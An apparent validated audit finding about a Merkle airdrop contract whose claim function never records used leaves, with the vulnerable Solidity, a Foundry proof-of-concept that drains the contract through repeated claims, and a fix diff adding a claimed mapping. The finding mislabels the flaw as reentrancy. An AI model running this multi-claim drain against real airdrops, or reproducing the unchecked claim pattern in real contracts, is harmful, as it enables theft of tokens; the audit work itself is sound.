Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unckechked Merkle Tree leaf usage in `AirdropToken::claim` poses a risk of a Reentrancy attack, allowing one user to claim multiple times and drain the contract

Description The AirdropToken::claim function lacks a check to verify if a user has already utilized their Merkle tree leaf. Consequently, a malicious user could exploit this vulnerability to claim tokens multiple times using the same leaf, potentially leading to a significant depletion of the contract's token reserves.

function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
@> // No check if leaf has already been used -> reentrancy attack
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}

Impact A single user can fully drain the contract of tokens just by claiming multiple times.

Proof of Concept This exploit is show in the MerkleAirdropTest::test_user_can_claim_multiple_times test.

POC
function test_user_can_claim_multiple_times() public {
uint256 userStartingBalance = token.balanceOf(collectorOne);
uint256 airdropStartingBalance = token.balanceOf(address(airdrop));
uint256 fee = airdrop.getFee();
uint8 numberOfClaims = 4;
console.log("AirDrop sarting balance: ", airdropStartingBalance);
console.log("User sarting balance: ", userStartingBalance);
vm.deal(collectorOne, fee * numberOfClaims);
for (uint8 i = 0; i < 4; ++i) {
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
}
console.log("----Exploit-----");
uint256 userEndingBalance = token.balanceOf(collectorOne);
uint256 airdropEndingBalance = token.balanceOf(address(airdrop));
console.log("AirDrop ending balance: ", airdropEndingBalance);
console.log("User ending balance: ", userEndingBalance);
assertEq(userEndingBalance - userStartingBalance, numberOfClaims * amountToCollect);
}
[PASS] test_user_can_claim_multiple_times() (gas: 69497)
Logs:
AirDrop sarting balance: 100000000
User sarting balance: 0
----Exploit-----
AirDrop ending balance: 0
User ending balance: 100000000

Tools Used Manual review + Foundry

Recommended Mitigation An effective solution would involve integrating a mapping mapping(bytes32 => bool) to track the usage status of Merkle tree leaves. Once a user successfully claims their tokens, their leaf can be marked as 'used,' enabling the contract to reject any subsequent attempts to reuse it. Additionally, to enhance transparency and user trust, a public-getter function can be implemented for the claimed mapping, empowering users to verify whether their leaf has already been utilized.

Mitigation
--- a/src/MerkleAirdrop.sol
+++ b/src/MerkleAirdrop.sol
@@ -11,11 +11,14 @@ contract MerkleAirdrop is Ownable {
error MerkleAirdrop__InvalidFeeAmount();
error MerkleAirdrop__InvalidProof();
error MerkleAirdrop__TransferFailed();
+ error MerkleAirdrop__LeafAlreadyUsed();
uint256 private constant FEE = 1e9;
IERC20 private immutable i_airdropToken;
bytes32 private immutable i_merkleRoot;
+ mapping(bytes32 => bool) private s_claimed;
+
event Claimed(address account, uint256 amount);
event MerkleRootUpdated(bytes32 newMerkleRoot);
@@ -32,9 +35,16 @@ contract MerkleAirdrop is Ownable {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
+
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
+ if (s_claimed[leaf]) {
+ revert MerkleAirdrop__LeafAlreadyUsed();
+ }
+ // Mark the leaf node as claimed
+ s_claimed[leaf] = true;
+
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
@@ -49,6 +61,10 @@ contract MerkleAirdrop is Ownable {
/*//////////////////////////////////////////////////////////////
VIEW AND PURE
//////////////////////////////////////////////////////////////*/
+ function isLeafClaimed(bytes32 leaf) external view returns (bool) {
+ return s_claimed[leaf];
+ }
+

With the above mitigation, if we re-run the test, the contract will revert the transaction after the first claim, as the leaf has already been used.

├─ [0] 0xF9E9ba9Ed9B96AB918c74B21dD0f1D5f2ac38a30::claim{value: 1000000000}(0x20F41376c713072937eb02Be70ee1eD0D639966C, 25000000 [2.5e7], [0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838, 0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c])
│ └─ ← ()
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::startPrank(0x20F41376c713072937eb02Be70ee1eD0D639966C)
│ └─ ← ()
├─ [0] 0xF9E9ba9Ed9B96AB918c74B21dD0f1D5f2ac38a30::getFee() [staticcall]
│ └─ ← 1000000000 [1e9]
├─ [0] 0xF9E9ba9Ed9B96AB918c74B21dD0f1D5f2ac38a30::claim{value: 1000000000}(0x20F41376c713072937eb02Be70ee1eD0D639966C, 25000000 [2.5e7], [0x32cee63464b09930b5c3f59f955c86694a4c640a03aa57e6f743d8a3ca5c8838, 0x8ff683185668cbe035a18fccec4080d7a0331bb1bbc532324f40501de5e8ea5c])
│ └─ ← MerkleAirdrop__LeafAlreadyUsed()
└─ ← MerkleAirdrop__LeafAlreadyUsed())
Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.